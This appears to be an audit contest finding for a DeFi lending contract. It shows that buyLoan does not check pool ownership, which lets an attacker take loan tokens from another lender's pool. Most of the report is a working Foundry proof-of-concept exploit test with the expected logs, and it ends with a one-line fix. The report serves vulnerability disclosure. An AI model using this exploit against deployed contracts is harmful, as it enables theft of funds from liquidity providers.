20,000 USDC
View results
Submission Details
Severity: high
Valid

Steal loan tokens from any pool

Summary

Loan tokens of any pool can be stolen, because the buyLoan function doesn't check if the passed poolId belongs to the buyer (msg.sender). So an attacker can buy a loan and pass the victim's poolId this allows the loan to take loan tokens from the victim's pool, and after the loan gets repaid the repaid token goes back to the attacker's pool, according to the following in repay function. Where funds get transferred to the pool of the loan's lender (which is still the attacker).

bytes32 poolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);

Vulnerability Details

Just want to note, that this can be exploited by an easier/simpler scenario, but we don't want to spend more time on this as the below POC already shows the impact.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// https://github.com/NomicFoundation/hardhat/blob/main/packages/hardhat-core/console.sol
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public lender3 = address(0x3);
address public borrower = address(0x4);
address public fees = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
loanToken.mint(address(lender2), 100000 * 10 ** 18);
loanToken.mint(address(lender3), 100000 * 10 ** 18);
loanToken.mint(address(borrower), 100000 * 10 ** 18);
collateralToken.mint(address(lender1), 100000 * 10 ** 18);
collateralToken.mint(address(lender2), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender3);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function createPoolAndBorrow() public returns (bytes32) {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
return poolId;
}
// lenders 2 and 3 create pools
function lendersCreatePools()
public
returns (bytes32 poolId1, bytes32 poolId2)
{
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId1 = lender.setPool(p);
vm.startPrank(lender3);
p = Pool({
lender: lender3,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId2 = lender.setPool(p);
}
function test_nice() public {
bytes32 poolId = createPoolAndBorrow();
(bytes32 lender2PoolId, bytes32 lender3PoolId) = lendersCreatePools();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
(, , , , uint256 pool1Balance, , , , ) = lender.pools(poolId);
(, , , , uint256 pool2Balance, , , , ) = lender.pools(lender2PoolId);
(, , , , uint256 pool3Balance, , , , ) = lender.pools(lender3PoolId);
console.log("-----------Initial Balances-----------");
console.log("pool 1 Balance: %s", pool1Balance / 10 ** 18);
console.log("pool 2 Balance: %s", pool2Balance / 10 ** 18);
console.log("pool 3 Balance: %s", pool3Balance / 10 ** 18);
vm.startPrank(lender1);
lender.startAuction(loanIds);
vm.warp(block.timestamp + 1 days);
vm.startPrank(lender2);
lender.buyLoan(0, lender3PoolId); // bug here
// lender2 borrows from his own pool to maintain valid `outstandingLoans`
vm.startPrank(lender2);
Borrow memory b = Borrow({
poolId: lender2PoolId,
debt: 101 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// prints
(, , , , pool1Balance, , , , ) = lender.pools(poolId);
(, , , , pool2Balance, , , , ) = lender.pools(lender2PoolId);
(, , , , pool3Balance, , , , ) = lender.pools(lender3PoolId);
console.log("-----------After Buying Loan from Auction-----------");
console.log("pool 1 Balance: %s", pool1Balance / 10 ** 18);
console.log("pool 2 Balance: %s", pool2Balance / 10 ** 18);
console.log("pool 3 Balance: %s", pool3Balance / 10 ** 18);
(address loanLender, , , , , , , , , ) = lender.loans(0);
assertEq(lender2, loanLender);
// borrower pays back loan
vm.startPrank(borrower);
lender.repay(loanIds);
// prints
(, , , , pool1Balance, , , , ) = lender.pools(poolId);
(, , , , pool2Balance, , , , ) = lender.pools(lender2PoolId);
(, , , , pool3Balance, , , , ) = lender.pools(lender3PoolId);
console.log("-----------After Repay-----------");
console.log("pool 1 Balance: %s", pool1Balance / 10 ** 18);
console.log("pool 2 Balance: %s", pool2Balance / 10 ** 18);
console.log("pool 3 Balance: %s", pool3Balance / 10 ** 18);
assert(
pool1Balance / 10 ** 18 == 1000 &&
pool2Balance / 10 ** 18 == 999 &&
pool3Balance / 10 ** 18 == 899
);
}
}

The logs should be similar to the following:

Logs:
-----------Initial Balances-----------
pool 1 Balance: 900
pool 2 Balance: 1000
pool 3 Balance: 1000
-----------After Buying Loan from Auction-----------
pool 1 Balance: 1000
pool 2 Balance: 899
pool 3 Balance: 899
-----------After Repay-----------
pool 1 Balance: 1000
pool 2 Balance: 999
pool 3 Balance: 899

Impact

Any user can steal loan tokens from any pool.

Tools Used

VScode + manual review.

Recommendations

Add if (pools[poolId].lender != msg.sender) revert Unauthorized(); on the top of buyLoan function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!